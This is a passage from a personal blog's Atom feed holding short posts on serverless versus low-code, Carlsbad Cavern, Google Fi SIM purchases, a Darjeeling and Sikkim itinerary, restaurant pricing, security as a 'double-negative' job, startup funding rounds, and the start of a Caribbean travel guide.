Bhatia</name></author><published>2022-03-12T17:00:53+00:00</published><updated>2022-03-12T17:00:53+00:00</updated><content type="html"><![CDATA[<blockquote>Discover the benefits of serverless as the default choice for 2021 deployments, while exploring the drawbacks of low-code solutions and their impact on coding efficiency.</blockquote><p>I&rsquo;m a big fan of 
<a href="/programming/how-to-deploy-side-projects-as-web-services-for-free/">serverless</a>.
In fact, in 2021, I believe that it should be the default choice and one should have a strong reason to deploy their own servers.</p>
<p>However, I&rsquo;m not a big fan of low code movement.
There are tons of lessons that we accumulated over 30+ years of coding.
And a low-code or a GUI throws a lot of them away.
The standard way of writing code in the form of text files allows one to modify, copy, de-duplicate, and refactor code.
Further, it allows one to write unit/integration tests as well as allows integration with tools for code review, code staging, code reversion, and code sleuthing.
All of these abilities go away in a low-code proprietary environment where someone is writing code by drawing arrows.
Is it worth it? Well, in some cases, where there isn&rsquo;t enough monetary budget.
In most cases, probably no.</p>
]]></content><category scheme="https://ashishb.net/category/tech-thoughts" term="tech-thoughts" label="tech-thoughts"/></entry><entry><title type="html">A visit to Carlsbad Cavern</title><link href="https://ashishb.net/travel/carlsbad-cavern/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/driving-from-albuquerque-to-phoenix/?utm_source=atom_feed" rel="related" type="text/html" title="Driving from Albuquerque to Phoenix"/><link href="https://ashishb.net/travel/driving-from-santa-fe-to-albuquerque/?utm_source=atom_feed" rel="related" type="text/html" title="Driving from Santa Fe to Albuquerque in New Mexico"/><link href="https://ashishb.net/travel/santa-fe/?utm_source=atom_feed" rel="related" type="text/html" title="A day at Santa Fe"/><link href="https://ashishb.net/travel/las-cruces-and-el-paso/?utm_source=atom_feed" rel="related" type="text/html" title="A day visit to Las cruces and El Paso"/><link href="https://ashishb.net/travel/lordsburg-new-mexico/?utm_source=atom_feed" rel="related" type="text/html" title="Visiting Shakespeare Ghost town in Lordsburg New Mexico"/><id>https://ashishb.net/travel/carlsbad-cavern/</id><author><name>Ashish Bhatia</name></author><published>2022-03-01T09:06:13+00:00</published><updated>2022-03-01T09:06:13+00:00</updated><content type="html"><![CDATA[<blockquote>Explore the vast wonders of Carlsbad Caverns—experience epic hikes, stunning formations, and learn the history of this iconic subterranean landscape. Book now!</blockquote><p>Carlsbad Caverns National Park is famous for the Carlsbad cavern.
While 
<a href="/travel/lava-beds-national-monument/">Lava Beds National Monument</a> is famous for its labyrinth of caves,
Carlsbad is famous primarily for a single huge cave.
There are several small caves around that require permits and specialized gear to visit.</p>
<p>I would highly recommend coming here early in the morning. You need to book a   
    
    
<a href="https://www.recreation.gov/ticket/facility/234637?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">reservation</a> in advance.
The Carlsbad cave is huge. And while some people take the elevator, I recommend going down as well as up via the hike to have the fullest experience.
It takes about 45 mins to hike up/down. And then there is a big room to explore at the bottom. There are ~50 marked stops to the bottom. Expect to spend about 3-4 hours in the cave.</p>
<p>The initial part of the cave smells pretty heavily of bat poop. In fact, the bat poop, a fertilizer, was mined out of the cave in the 1930s before artificial fertilizers became mainstream.</p>
<figure>
    
    <a href="carlsbad-cavern-1-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="carlsbad-cavern-1-1024x768.jpg"
         alt="Carlsbad Cavern" width="900"/> </a>
</figure>

<figure>
    
    <a href="carlsbad-cavern-2-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="carlsbad-cavern-2-768x1024.jpg"
         alt="Carlsbad Caverns&#39; intricate limestone formations, showcasing vast chambers with stalactites and stalagmites illuminated to highlight their grandeur." width="900"/> </a>
</figure>

<figure>
    
    <a href="carlsbad-cavern-3-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="carlsbad-cavern-3-1024x768.jpg"
         alt="Carlsbad Caverns" width="900"/> </a>
</figure>

<figure>
    
    <a href="carlsbad-cavern-4-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="carlsbad-cavern-4-768x1024.jpg"
         alt="Carlsbad Cavern" width="900"/> </a>
</figure>

<figure>
    
    <a href="carlsbad-cavern-5-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="carlsbad-cavern-5-1024x768.jpg"
         alt="A cave interior with stalactites and stalagmites illuminated by artificial lighting, creating a dramatic and textured underground landscape." width="900"/> </a>
</figure>

<figure>
    
    <a href="carlsbad-cavern-6-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="carlsbad-cavern-6-1024x768.jpg"
         alt="A large, illuminated cavern with stalactites and stalagmites, showcasing intricate natural formations in Carlsbad Caverns" width="900"/> </a>
</figure>

<figure>
    
    <a href="carlsbad-cavern-7-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="carlsbad-cavern-7-768x1024.jpg"
         alt="A rocky, dimly lit cavern interior with large stalactites and stalagmites, showcasing a natural, underground landscape." width="900"/> </a>
</figure>

<p>After the Carlsbad cavern, I decided to check out the Slaughter Canyon cave hike. The cave is allowed on a ranger-guided tour and that&rsquo;s closed due to COVID-19. But the 20-mins intense hike is worth the views.</p>
<figure>
    
    <a href="slaughter-canyon-cave-1-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="slaughter-canyon-cave-1-1024x768.jpg"
         alt="Slaughter Canyon cave" width="900"/> </a>
</figure>

<figure>
    
    <a href="slaughter-canyon-cave-2-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="slaughter-canyon-cave-2-1024x768.jpg"
         alt="A cave interior featuring stalactites and stalagmites illuminated by artificial lighting, creating a dramatic play of shadows and highlights on rocky surfaces." width="900"/> </a>
</figure>

]]></content><category scheme="https://ashishb.net/category/travel" term="travel" label="travel"/><category scheme="https://ashishb.net/tag/new-mexico" term="new-mexico" label="new-mexico"/><category scheme="https://ashishb.net/tag/usa" term="usa" label="usa"/></entry><entry><title type="html">Don't buy Google FI SIM with a phone</title><link href="https://ashishb.net/tech/dont-buy-google-fi-with-a-phone/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/tech/social-media-and-burglar-bars/?utm_source=atom_feed" rel="related" type="text/html" title="Social media and burglar bars"/><link href="https://ashishb.net/tech/three-reasons-why-i-cant-stand-package-json/?utm_source=atom_feed" rel="related" type="text/html" title="5 reasons package.json doesn't scale"/><link href="https://ashishb.net/tech/why-i-prefer-obsidian-for-taking-notes/?utm_source=atom_feed" rel="related" type="text/html" title="Why I prefer Obsidian for taking notes"/><link href="https://ashishb.net/tech/some-thoughts-on-low-code/?utm_source=atom_feed" rel="related" type="text/html" title="Low code"/><link href="https://ashishb.net/tech/outsourcing/?utm_source=atom_feed" rel="related" type="text/html" title="Why software outsourcing gets a bad reputation?"/><id>https://ashishb.net/tech/dont-buy-google-fi-with-a-phone/</id><author><name>Ashish Bhatia</name></author><published>2022-02-13T17:00:01+00:00</published><updated>2022-02-13T17:00:01+00:00</updated><content type="html"><![CDATA[<blockquote>Avoid Google Fi payment issues by purchasing your phone separately and getting a free Google Fi SIM. Simplify number porting and switch carriers hassle-free.</blockquote><p>There are   
    
    
<a href="https://support.google.com/fi/thread/1368314?hl=en&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">several</a>   
    
    
<a href="https://onemileatatime.com/google-fi-review/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">nightmare</a> stories on the Internet regarding Google&rsquo;s poor handling of payment issues related to Google Fi service. Most problems arise because people buy a phone along with Google Fi SIM. Don&rsquo;t do it.</p>
<p>Google FI SIMs are free. Just buy a good phone without lock-in separately. The offers you see usually show up for the phones separately as well. And then order Google Fi SIMs (for free) separately. Your number porting won&rsquo;t depend on whether your phone purchase went through or not. It won&rsquo;t depend on whether your phone is shipped or not. If you don&rsquo;t like Google Fi, you can switch back to your old carrier.  If the new SIMs don&rsquo;t work or you can&rsquo;t pay for some reason (e.g. Google Pay frozen), you can just create a new Google account and order a different set of Google Fi SIMs for free.</p>
]]></content><category scheme="https://ashishb.net/category/tech-thoughts" term="tech-thoughts" label="tech-thoughts"/></entry><entry><title type="html">5 days in Gorkhaland (West Bengal) and Sikkim</title><link href="https://ashishb.net/travel/gorkhaland-west-bengal-and-sikkim/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/kerala/?utm_source=atom_feed" rel="related" type="text/html" title="Four days in Kerala - Munnar, Thekkady, and Aleppey"/><link href="https://ashishb.net/travel/why-indian-passport-remains-weak/?utm_source=atom_feed" rel="related" type="text/html" title="Why Indian Passport remains weak"/><link href="https://ashishb.net/travel/hiking-mt-fuji/?utm_source=atom_feed" rel="related" type="text/html" title="Hiking Mt. Fuji"/><link href="https://ashishb.net/travel/kyoto-japan/?utm_source=atom_feed" rel="related" type="text/html" title="Kyoto in three days"/><link href="https://ashishb.net/travel/tokyo-japan/?utm_source=atom_feed" rel="related" type="text/html" title="Tokyo in three days"/><id>https://ashishb.net/travel/gorkhaland-west-bengal-and-sikkim/</id><author><name>Ashish Bhatia</name></author><published>2022-02-05T07:20:56+00:00</published><updated>2022-02-05T07:20:56+00:00</updated><content type="html"><![CDATA[<blockquote>Explore the majestic landscapes of Gorkhaland and Sikkim. From serene temples to thrilling mountain drives, uncover the scenic beauty and vibrant culture of the region!</blockquote><p>The northern part of Bengal known as Gorkhaland and Sikkim is the Nepali-speaking region of India. This part is known mostly for its mountainous beauty. If you are flying in, Bagdogra is the closest airport. The airside of this airport is congested, so, I would recommend not to check in too early.</p>
<h3 id="day-1---bagdogra-to-darjeeling">Day 1 - Bagdogra to Darjeeling</h3>
<p>We took the 
<a href="/travel/public-transport-guide/">taxi</a> from Bagdogra to Darjeeling. It is a risky mountainous drive and most portions of the narrow road allow only a single car, so, definitely budget 4-5 hours for this. In the evening, we checked out the local market as well as the local   
    
    
<a href="https://darjeeling.gov.in/tourist-place/observatory-hill-mahakal-temple/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Mahakal temple</a>. It is a bit of a hike and you will encounter a good local market in your journey as well. I would highly recommend trying momos here. There are tons of sellers selling veg and non-veg momos for ₹50 a plate.</p>
<h3 id="day-2---darjeeling">Day 2 - Darjeeling</h3>
<p>We woke up at around 4 in the morning to go to Tiger Hill Top to see the sunrise. The new tourist building is under construction as of Dec 2020, so, we had hundreds of tourists stand outside in the cold winds for a sunrise. Not worth it. Consider skipping it completely.</p>
<figure>
    
    <a href="Darjeeling_Tiger_Hill_top-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Darjeeling_Tiger_Hill_top-1024x768.jpg"
         alt="A scenic view of a sunrise over mountains and a natural landscape, from a high vantage point" width="900"/> </a>
</figure>

<p>After breakfast, we checked out   
    
    
<a href="https://en.wikipedia.org/wiki/Batasia_Loop?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Batasia Loop</a>. The railway track spirals here to lower the gradient of descent. And there is an obelisk in the memory of fallen soldiers of Darjeeling.</p>
<figure>
    
    <a href="Darjeeling_Batasia_loop-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Darjeeling_Batasia_loop-768x1024.jpg"
         alt="People visit the Peace Pagoda in Darjeeling, built by a Japanese Buddhist monk. It commemorates fallen soldiers, symbolizing peace and unity." width="900"/> </a>
</figure>

<p>Then we went to the Peace Pagoda that was built by a Buddhist monk from 
<a href="/travel/tokyo-japan/">Japan</a>.</p>
<figure>
    
    <a href="Darjeeling_Peace_Pagoda-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Darjeeling_Peace_Pagoda-1024x768.jpg"
         alt="A Peace Pagoda built by a Japanese Buddhist monk stands prominently, surrounded by green foliage, highlighting themes of peace and unity." width="900"/> </a>
</figure>

<p>Next, we headed to the Himalayan Mountaineering Institute (₹60 entry fee). There is a nice Zoo inside the same complex. This was the highlight of the day. We spent about 3 hours here.</p>
<figure>
    
    <a href="Darjeeling_Zoo-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Darjeeling_Zoo-1024x768.jpg"
         alt="Darjeeling Zoo" width="900"/> </a>
</figure>

<figure>
    
    <a href="Darjeeling_HMI-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Darjeeling_HMI-768x1024.jpg"
         alt="Darjeeling Zoo" width="900"/> </a>
</figure>

<p>Then we headed to the world-famous Darjeeling Tea Gardens.</p>
<figure>
    
    <a href="Darjeeling_Tea_Garden-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Darjeeling_Tea_Garden-1024x768.jpg"
         alt="Darjeeling Tea Gardens" width="900"/> </a>
</figure>

<p>Lastly, we checked out the Tenzing and the Gombu rock. For beginner rock climbers, trying Tenzing rock is a good experience.</p>
<h3 id="day-3---darjeeling-to-gangtok">Day 3 - Darjeeling to Gangtok</h3>
<p>We had a drive from Darjeeling to Sikkim for the morning session. We stopped at Lamahatta Eco Park for photos and a hike. It is gorgeous.</p>
<figure>
    
    <a href="Lamahatta_Eco_park-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Lamahatta_Eco_park-1024x768.jpg"
         alt="A picturesque view of Lamahatta Eco Park featuring lush greenery, a winding trail, and tall trees, ideal for hiking and photography." width="900"/> </a>
</figure>

<p>Next, we visited a spot to view the merger of the Rangeet river into the Teesta River.</p>
<figure>
    
    <a href="Rangeet_and_Teesta_river-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Rangeet_and_Teesta_river-768x1024.jpg"
         alt="A scenic view showing the confluence of the Rangeet River merging into the Teesta River, surrounded by lush greenery and mountainous terrain." width="900"/> </a>
</figure>

<p>And finally, we entered Sikkim. Sikkim, a Himalayan kingdom till 1975, that after scared of China&rsquo;s overtures held a plebiscite that 98% voted for in favor of a merger with India. Being a border state, and because of recent skirmishes with China, the state is carefully guarded and at times, foreigners&rsquo; entry is completely banned.</p>
<figure>
    
    <a href="Sikkim_entry-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Sikkim_entry-768x1024.jpg"
         alt="A sign lists entry rules for a region, including restrictions on foreigners. It&#39;s displayed at an official entry point, emphasizing controlled access similar to practices with China." width="900"/> </a>
</figure>

<p>We took a local tour in Gangtok in the afternoon that started with Ban Jhakri (बन जाखड़ी) Falls (₹60 entry fee)</p>
<figure>
    
    <a href="Gangtok_Ban_Jhakri_Falls2-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Gangtok_Ban_Jhakri_Falls2-768x1024.jpg"
         alt="Ban Jhakri Falls with cascading water surrounded by green foliage" width="900"/> </a>
</figure>

<p>Next, we visited a nursery (₹20 entry fee), it wasn&rsquo;t worth the time, so, feel free to skip it.</p>
<figure>
    
    <a href="Gangtok_nursery-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Gangtok_nursery-768x1024.jpg"
         alt="A plant nursery with various potted plants is on display, surrounded by green foliage" width="900"/> </a>
</figure>

<p>While Ban Jhakri falls are near the bottom, Hanuman Tok is on the top of a mountain. The belief is that Lord Hanuman while returning with Sanjeevani rested here.</p>
<figure>
    
    <a href="Gangtok_hanuman_tok-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Gangtok_hanuman_tok-768x1024.jpg"
         alt="A statue of Lord Hanuman is situated on a mountaintop, where it is believed he rested while returning with Sanjeevani. The site offers a scenic view." width="900"/> </a>
</figure>

<p>Lastly, we stopped at Ganesh Tok, which is downhill from Hanuman Tok.</p>
<p>For the evening dinner, I would highly recommend roll house. There are two of these on the same street attached to the gorgeous pedestrian-only MG road.</p>
<figure>
    
    <a href="Gangtok_MG_market-369x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Gangtok_MG_market-369x1024.jpg"
         alt="A pedestrian street with people walking around shops and buildings, attached to MG Road in Gangtok, includes two houses on the same street." width="369"/> </a>
</figure>

<h3 id="day-4---gangtok">Day 4 - Gangtok</h3>
<p>We had a long drive to visit Baba Harbhajan Temple and Tsomgo/Changu Lake (pronounced &ldquo;छंगु&rdquo;). Baba Harbhajan was an Indian soldier. One day while crossing a stream, his mule slipped. He came back in the dreams of his fellow soldier the next day and mentioned the location where they can find his body. The belief remains that even today during the unusual movement of Chinese troops near the Nathu La pass, he comes in the dreams of the fellow soldiers and informs them. In his memory, the Indian army has built a temple.</p>
<figure>
    
    <a href="Gangtok_baba_harbhajan_temple-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Gangtok_baba_harbhajan_temple-1024x768.jpg"
         alt="An altar with religious offerings and framed photographs, set within a temple built in memory of a soldier in the Indian army." width="900"/> </a>
</figure>

<figure>
    
    <a href="Gangtok_baba_mandir-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Gangtok_baba_mandir-768x1024.jpg"
         alt="A temple complex, in a mountainous region, includes the world&#39;s highest Shiva temple at 13,000 ft, with a partially frozen landscape." width="900"/> </a>
</figure>

<p>Next to the temple is the world&rsquo;s highest Shiva temple (&ldquo;Shivalaya&rdquo;) at 13,000 ft with a frozen waterfall next to it.</p>
<figure>
    
    <a href="Gangtok_Shiva_temple-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Gangtok_Shiva_temple-1024x768.jpg"
         alt="A Shiva temple situated at 13,000 feet with a frozen waterfall nearby, described as the world&#39;s highest Shivalaya." width="900"/> </a>
</figure>

<p>While we returned from here, one can go down and see the   
    
    
<a href="https://en.wikipedia.org/wiki/Nathu_La?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Nathu La pass</a>, the border between India and China, where the   
    
    
<a href="https://en.wikipedia.org/wiki/Nathu_La_and_Cho_La_clashes?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">clash</a> of 1967 happened between China and Indian forces. Sikkim was a protectorate of India at that time.</p>
<p>Next while coming downwards, we stopped at Changu Lake. Try Yak ride here. And go to the other side of the lake as well. It&rsquo;s a gorgeous lake.</p>
<figure>
    
    <a href="Gangtok_Changu_lake-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Gangtok_Changu_lake-1024x768.jpg"
         alt="A yak stands beside a picturesque lake" width="900"/> </a>
</figure>

<figure>
    
    <a href="Gangtok_Yak_ride-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Gangtok_Yak_ride-1024x768.jpg"
         alt="A serene lake surrounded by mountains with a yak standing on the shore" width="900"/> </a>
</figure>

<p>And I would highly recommend trying   
    
    
<a href="https://en.wikipedia.org/wiki/Chhurpi?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Chhurpi</a> (छुर्पी), hard cheese made up of the Yak milk. You can buy it in Gangtok for about ₹20 for 5-6 pieces in unassuming packages. I failed to find any shop selling Yak&rsquo;s milk though.</p>
<p>After this, we went to the   
    
    
<a href="https://www.indianetzone.com/82/museums_sikkim.htm?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Black Cat Museum</a> of the Indian army. Highly recommended even though it is not on the standard tourist trail. The museum shows you the history of the kingdom of Sikkim, its battle with the kingdoms of Nepal, Bhutan, and the eventual merger with India.</p>
<p>Later, we checked out the Lal Market, which was unfortunately closed that day. So, we went back to the MG Market.</p>
<h3 id="day-5---gangtok-to-kalimpong">Day 5 - Gangtok to Kalimpong</h3>
<p>The morning was spent driving from Gangtok to Kalimpong. In the afternoon, we checked out a Cactus nursery that had American cactus.</p>
<figure>
    
    <a href="Kalimpong_nursery-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Kalimpong_nursery-1024x768.jpg"
         alt="Cactus plants of various shapes and sizes are displayed in a nursery, with greenhouses visible in the background" width="900"/> </a>
</figure>

<p>Next, we went to the Delo Hills. There is a nice park here (Entry fee ₹20) with activities like horse riding. It is good for a general picnic as well. One can go Skydiving here for ₹3500 for an 8-15 minute ride and ₹5000 for a higher altitude of 15-30 minutes ride. It seems to be run by a single company and your driver would get some affiliate commission, so, they are going to push you for it.</p>
<figure>
    
    <a href="Kalimpong_delo_hills-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Kalimpong_delo_hills-1024x768.jpg"
         alt="A scenic view of Delo Hills in Kalimpong, displaying lush green landscapes under a clear blue sky, offering a serene and picturesque environment." width="900"/> </a>
</figure>

<p>Then we visited Mangal Dham Pranami Temple</p>
<figure>
    
    <a href="Kalimpong_Mangal_dham_temple-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Kalimpong_Mangal_dham_temple-1024x768.jpg"
         alt="A serene landscape showcasing Delo Hills in Kalimpong, with lush greenery and rolling terrain under a clear sky." width="900"/> </a>
</figure>

<p>And lastly, we visited the local market. Gangtok and Darjeeling had better markets for sure.</p>
]]></content><category scheme="https://ashishb.net/category/travel" term="travel" label="travel"/><category scheme="https://ashishb.net/tag/india" term="india" label="india"/><category scheme="https://ashishb.net/tag/asia" term="asia" label="asia"/></entry><entry><title type="html">The Terrible Economics of running a Restaurant</title><link href="https://ashishb.net/short-stories/the-terrible-economics-of-a-restaurant/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/finance/wealth-destruction-is-worse-than-taxes/?utm_source=atom_feed" rel="related" type="text/html" title="Wealth destruction is worse than taxes"/><link href="https://ashishb.net/book-summary/breakout-nations/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: Breakout Nations by Ruchir Sharma"/><link href="https://ashishb.net/short-stories/freedom/?utm_source=atom_feed" rel="related" type="text/html" title="Freedom"/><link href="https://ashishb.net/short-stories/virgin-mojito-hindi/?utm_source=atom_feed" rel="related" type="text/html" title="Virgin Mojito (हिंदी)"/><link href="https://ashishb.net/short-stories/souvenir-clothing/?utm_source=atom_feed" rel="related" type="text/html" title="Souvenir Clothing"/><id>https://ashishb.net/short-stories/the-terrible-economics-of-a-restaurant/</id><author><name>Ashish Bhatia</name></author><published>2022-01-22T17:00:25+00:00</published><updated>2022-01-22T17:00:25+00:00</updated><content type="html"><![CDATA[<blockquote>Discover why dynamic pricing could revolutionize the restaurant industry and potentially save countless businesses from closing. Explore the economic impact today!</blockquote><p>A new Indian restaurant had opened within walking distance of where we live. We, actually, discovered it on the day of its inauguration ( <em>Muhurta</em>). The owner politely told us to come back the next day. We did. We were fifth in the queue on a long line outside the restaurant. A phone call came in from an acquaintance. The call was a good way to pass an hour-long wait. We would have certainly left the queue otherwise.</p>
<p>As I entered the restaurant, I couldn&rsquo;t fathom why can&rsquo;t, like airlines, restaurants charge me more for seating during such peak congestion. The reason most likely is cultural. In many parts of the world, during important days like New Year&rsquo;s, restaurants have a high cover charge. But still, unlike airlines and car-sharing, they don&rsquo;t have ongoing dynamic pricing.  Somehow, the patrons are happy to pay with their time than with their wallets. And that cultural aspect has terrible economic implications. A line outside might sound great but unlike airlines, a restaurant gets little more than bragging rights due to that.</p>
<p>Today that restaurant stands closed. And I wonder a dynamic pricing model/the highest bidder model might have saved that restaurant and millions of others along with it.</p>
]]></content><category scheme="https://ashishb.net/category/short-stories" term="short-stories" label="short-stories"/><category scheme="https://ashishb.net/tag/economics" term="economics" label="economics"/></entry><entry><title type="html">Double-negative jobs</title><link href="https://ashishb.net/misc/double-negative-jobs/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/misc/capitalism-achilles-heel/?utm_source=atom_feed" rel="related" type="text/html" title="The Achilles heel of American capitalism"/><link href="https://ashishb.net/misc/punjabi-singers/?utm_source=atom_feed" rel="related" type="text/html" title="The science behind Punjabi singers"/><link href="https://ashishb.net/misc/statistical-outcomes-require-statistical-games/?utm_source=atom_feed" rel="related" type="text/html" title="Statistical outcomes require statistical games"/><link href="https://ashishb.net/misc/status-symbol/?utm_source=atom_feed" rel="related" type="text/html" title="Status Symbol"/><link href="https://ashishb.net/misc/sometimes-the-middle-ground-is-most-empowering/?utm_source=atom_feed" rel="related" type="text/html" title="Sometimes the middle ground is most empowering"/><id>https://ashishb.net/misc/double-negative-jobs/</id><author><name>Ashish Bhatia</name></author><published>2022-01-01T17:00:27+00:00</published><updated>2022-01-01T17:00:27+00:00</updated><content type="html"><![CDATA[<blockquote>Explore how double-negative roles, like HR and security, crucially prevent revenue loss despite not directly boosting profits, highlighting their essential impact.</blockquote><p>There are positive jobs and then there are double-negative jobs.</p>
<p>Positive jobs when done well increase the revenue of the company. On the other hand, double-negative jobs when done well, prevent the loss of revenue. Consider HR, lawyer, physical/information security personnel, all are double-negative roles. If they do their job well, you won&rsquo;t notice any harm. It is hard to justify spending on double-negative jobs. They don&rsquo;t increase the bottom line. The shareholders question the spending. But when they don&rsquo;t go well, you end up with huge   
    
    
<a href="https://www.reuters.com/technology/colonial-pipeline-halts-all-pipeline-operations-after-cybersecurity-attack-2021-05-08/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">losses</a>.</p>
]]></content><category scheme="https://ashishb.net/category/misc" term="misc" label="misc"/></entry><entry><title type="html">Fundraising rounds then and now</title><link href="https://ashishb.net/tech/fundraising-rounds-then-and-now/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/tech/indian-startup-bubble/?utm_source=atom_feed" rel="related" type="text/html" title="The Indian startup bubble is insane"/><link href="https://ashishb.net/tech/startup-founders-how-not-to-write-an-email/?utm_source=atom_feed" rel="related" type="text/html" title="Startup founders: How not to write an email"/><link href="https://ashishb.net/tech/random-thoughts-goals-and-company-types-in-tech-world/?utm_source=atom_feed" rel="related" type="text/html" title="Random thoughts: goals and company types in tech world"/><link href="https://ashishb.net/tech/musicsync-audio-player/?utm_source=atom_feed" rel="related" type="text/html" title="MusicSync: best alternative to Google Play Music and Google Podcasts"/><link href="https://ashishb.net/tech/react-native/?utm_source=atom_feed" rel="related" type="text/html" title="React Native"/><id>https://ashishb.net/tech/fundraising-rounds-then-and-now/</id><author><name>Ashish Bhatia</name></author><published>2021-12-11T17:00:36+00:00</published><updated>2021-12-11T17:00:36+00:00</updated><content type="html"><![CDATA[<blockquote>Explore the evolution of funding rounds from Seed to Series-Z, and why pre-seed isn’t called a pollen round. Navigate the modern startup investment landscape.</blockquote><h3 id="then">Then</h3>
<ol>
<li>Seed/Angel</li>
<li>Series-A</li>
<li>Series-B</li>
<li>Series-C</li>
<li>IPO</li>
</ol>
<h3 id="now">Now</h3>
<ol>
<li>Pre-seed</li>
<li>Seed - If a seed round is too big, it is called a mango seed.</li>
<li>Seed extension</li>
<li>Angel</li>
<li>Series-A</li>
<li>Series-B</li>
<li>Series-C</li>
<li>&hellip;</li>
<li>Series-Z</li>
<li>Venture round</li>
<li>Growth round</li>
<li>IPO</li>
</ol>
<p>Also, why isn&rsquo;t pre-seed called a pollen round?</p>
]]></content><category scheme="https://ashishb.net/category/tech-thoughts" term="tech-thoughts" label="tech-thoughts"/><category scheme="https://ashishb.net/tag/startups" term="startups" label="startups"/></entry><entry><title type="html">Where to go on your first Caribbean trip</title><link href="https://ashishb.net/travel/caribbean-trip-guide/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/dominican-republic/?utm_source=atom_feed" rel="related" type="text/html" title="Dominican Republic in 5 days"/><link href="https://ashishb.net/travel/aruba/?utm_source=atom_feed" rel="related" type="text/html" title="Things to do in Aruba"/><link href="https://ashishb.net/travel/11-day-caribbean-cruise/?utm_source=atom_feed" rel="related" type="text/html" title="11-day Norwegian Breakaway East Caribbean cruise"/><link href="https://ashishb.net/travel/trinidad-and-tobago/?utm_source=atom_feed" rel="related" type="text/html" title="Mini Trip to Trinidad and Tobago"/><link href="https://ashishb.net/travel/dominica/?utm_source=atom_feed" rel="related" type="text/html" title="Things to do in Dominica - The nature island of the Caribbean"/><id>https://ashishb.net/travel/caribbean-trip-guide/</id><author><name>Ashish Bhatia</name></author><published>2021-12-04T17:00:26+00:00</published><updated>2021-12-04T17:00:26+00:00</updated><content type="html"><![CDATA[<blockquote>Ultimate guide to where to go on your first trip to the Caribbean. The best islands for first-time travelers.</blockquote><p>If you are planning your first trip to the Caribbean and you want to decide where to go to then this post is right for you.</p>
<p>If you are looking for something very touristy, international, and easy to access then pick between English-speaking 
<a href="/travel/belize/">Belize</a>
and the Spanish-speaking 
<a href="/travel/dominican-republic/">Dominican Republic</a>.
Both of them have all the comforts of the mainland US. And are good for both singles and couples.
Both are relatively cheaper than other islands I list below. While Belize is not technically an island,
it has great access to the Caribbean sea.</p>
<p>If you want to stay domestic then go to Spanish-speaking 
<a href="/travel/puerto-rico/">Puerto Rico</a>.
And if you want to go easy but international then choose Spanish-speaking 
<a href="/travel/mexico/cancun/">Cancún</a>.
Both are good for partying, Cancún much more than Puerto Rico.</p>
<p>If you are looking for good snorkeling then go for English-speaking 
<a href="/travel/escaping-into-caribbean-with-norwegian-escape-cruise/">Cayman Islands</a>.
It is darn expensive though.</p>
<p>If you are looking for something off-beat and difficult to reach, go for 
<a href="/travel/dominica/">Dominica</a>.
It is the most gorgeous lush green island in the Caribbean.</p>
<p>
